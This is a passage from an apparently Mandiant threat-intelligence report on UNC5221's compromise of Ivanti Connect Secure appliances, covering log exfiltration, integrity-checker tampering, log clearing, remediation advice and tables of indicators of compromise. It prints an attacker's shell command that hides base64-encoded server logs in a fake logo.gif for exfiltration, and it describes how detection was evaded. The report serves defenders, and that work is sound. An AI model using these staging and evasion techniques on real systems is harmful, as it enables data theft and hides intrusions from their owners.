paths:</p> <ul> <li><code>/runtime/webserver/htdocs/dana-na/help/logo.gif</code></li> <li><code>/runtime/webserver/htdocs/dana-na/help/login.gif</code></li> </ul> <p>Ivanti has published additional <a href="https://forums.ivanti.com/s/article/Recovery-Steps-Related-to-CVE-2023-46805-and-CVE-2024-21887?language=en_US" rel="noopener" target="_blank"><u>guidance</u></a> on remediating the risk resulting from the cache and configuration dump. This includes resetting local account credentials, resetting API keys, and the revocation of certificates.</p> <h4>CAV Web Server Log Exfiltration</h4> <p>Mandiant has identified evidence of exfiltration of the CAV web server logs staged in <code>/runtime/webserver/htdocs/dana-na/help/logo.gif</code>. The path does not legitimately contain <code>logo.gif</code>.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif; /usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif; cat /data/var/dlogs/cav_webserv.log|/usr/bin/base64>>/home/ webserver/htdocs/dana-na/help/logo.gif</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 22: Command sequence leading to exfiltration of the CAV web server logs</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The command redirects the GIF header into <code>logo.gif</code> and then appends the Base64-encoded contents of <code>/data/var/dlogs/cav_webserv.log</code> into the same file.</p> <p><code>cav_webserv.log</code> contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE, CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.</p> <h4>ICT Manipulation</h4> <p>The system's internal integrity checker tool can help detect modifications or additions made to the file system. Mandiant has identified instances where the external ICT detected a modification to a Python package associated with the internal ICT: <code>/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg</code>. </p> <p>We identified a single line commented out in <code>scanmgr.py</code> that disables the execution of the scanner.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 23: Scanner execution commented out in scanmgr.py</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Additionally, Volexity published a <a href="https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/" rel="noopener" target="_blank"><u>blog post</u></a> on Jan. 18, 2024 detailing another method leveraged to tamper with the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.</p> <p>Mandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located at <code>/home/etc/manifest</code>. This file maintains a list of the expected files on the system and its associated SHA256 hash. The internal ICT verifies the manifest file’s signature using a public key.</p> <p>In some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the internal ICT to fail and generates event ID <code>SYS32042</code> in the system event log, indicating that the manifest file is bad.</p> <p>The full list of event IDs associated with the integrity checker tool can be found in Table 3.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse;margin-left:auto;margin-right:auto"><colgroup><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Event ID</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Summarized Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32039</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">New files were found with the Internal Integrity Check Tool.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32040</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A modified file was found with the Internal Integrity Check Tool.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32041</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The Integrity Check Tool manifest file is missing.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32042</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The Integrity Checker Tool manifest file is bad.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32087</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A built-in integrity scan has started.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32088</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A built-in integrity scan has been completed.</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 3: Integrity checker tool event IDs</span></em></span></p> <h4>System Log Clearing</h4> <p>In some instances, the threat actor used a legitimate system utility, <code>/home/bin/logClear.pl</code> to clear system logs. The clearing of system logs via this method generates event ID <code>ADM20599</code> in the admin event log for each log type cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse;margin-left:auto;margin-right:auto"><colgroup><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Log Name</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">File Path</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">events</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.events.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">admin</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.admin.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">access</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.access.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">diagnosticlog</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.diagnosticlog.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">policytrace</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.policytrace.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">sensorslog</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.sensorslog.vc0</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 4: System log descriptions</span></em></span></p> <p>Mandiant recommends hunting for event ID <code>ADM20599</code> in the events log (<code>log.events.vc0</code>) for evidence of log clearing.</p> <h2>Attribution</h2> <p>Mandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has observed UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China (PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past intrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in incident response investigations use code from multiple Chinese-language Github repositories. As noted in our previous blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge infrastructure by suspected PRC nexus actors.</p> <h2>Recommendations</h2> <h3>Patch Availability</h3> <p>Ivanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31, 2024. The remaining patches will be released on a staggered schedule for three different products that span multiple branches and versions.</p> <h3>Installing the Mitigation </h3> <p>Affected customers should install the mitigation immediately if a patch is not yet available for their version. Installing the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to remediate or otherwise contain an existing compromised device.</p> <p>On Jan. 20, 2024, Ivanti released <a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" rel="noopener" target="_blank"><u>details</u></a> related to a condition that would negatively impact the mitigation and render appliances in a vulnerable state. The condition impacts customers who push configurations to appliances using Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing configurations to appliances with the XML in place until patches are installed.</p> <h3>Integrity Checker Tool</h3> <p>Ivanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity Checker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as it is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to tamper with the internal (built-in) ICT to evade detection.</p> <p>Customers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the appliance is compromised and recommend next steps.</p> <h3>Password Resets</h3> <p>In addition to resetting the password of any local user configured on the appliance, Mandiant advises that organizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the appliance during the period when the malware was active. We also recommend customers search EDR telemetry and firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section.</p> <h3>Hardening Guide</h3> <p>We have released a guidance document, which contains <a href="https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf" rel="noopener" target="_blank">remediation and hardening recommendations</a> for suspected compromised Ivanti Connect Secure (CS) VPN appliances associated with the exploitation of CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893.</p> <h2>Acknowledgements</h2> <p>We would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation of CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible without the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google TAG.</p> <h2>Indicators of Compromise (IOCs)</h2> <h3>Host-Based Indicators (HBIs)</h3> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table><colgroup><col><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Filename</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">MD5</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">health.py</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">3045f5b3d355a9ab26ab6f44cc831a83</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">CHAINLINE web shell</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">compcheckresult.cgi</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">3d97f55a03ceb4f71671aa2ecf5b24e9</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">LIGHTWIRE web shell</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">2ec505088b942c234f39a37188e80d7a</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">8eb042da6ba683ef1bae460af103cc44</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">a739bd4c2b9f3679f43579711448786f</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">a81813f70151a022ea1065b7f4d6b5ab</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">d0c7a334a4d9dcd3c6335ae13bee59ea</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">e8489983d73ed30a4240a14b1f161254</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">category.py</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">465600cece80861497e8c1c86a07a23e</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">FRAMESTING web shell</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">logo.gif</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Configuration and cache dump or CAV web server log exfiltration</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">login.gif</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Configuration and cache dump</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">[a-fA-F0-9]{10}\.css</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Configuration and cache dump</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">visits.py</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WIREFIRE web shell</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <h3><span style="vertical-align:baseline">Network-Based Indicators (NBIs)</span></h3> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table><colgroup><col><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Network Indicator</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Type</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">symantke[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">miltonhouse[.]nl</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">entraide-internationale[.]fr</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">api.d-n-s[.]name</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">cpanel.netbar[.]org</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">clickcom[.]click</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">clicko[.]click</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">duorhytm[.]fun</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">line-api[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">areekaweb[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td 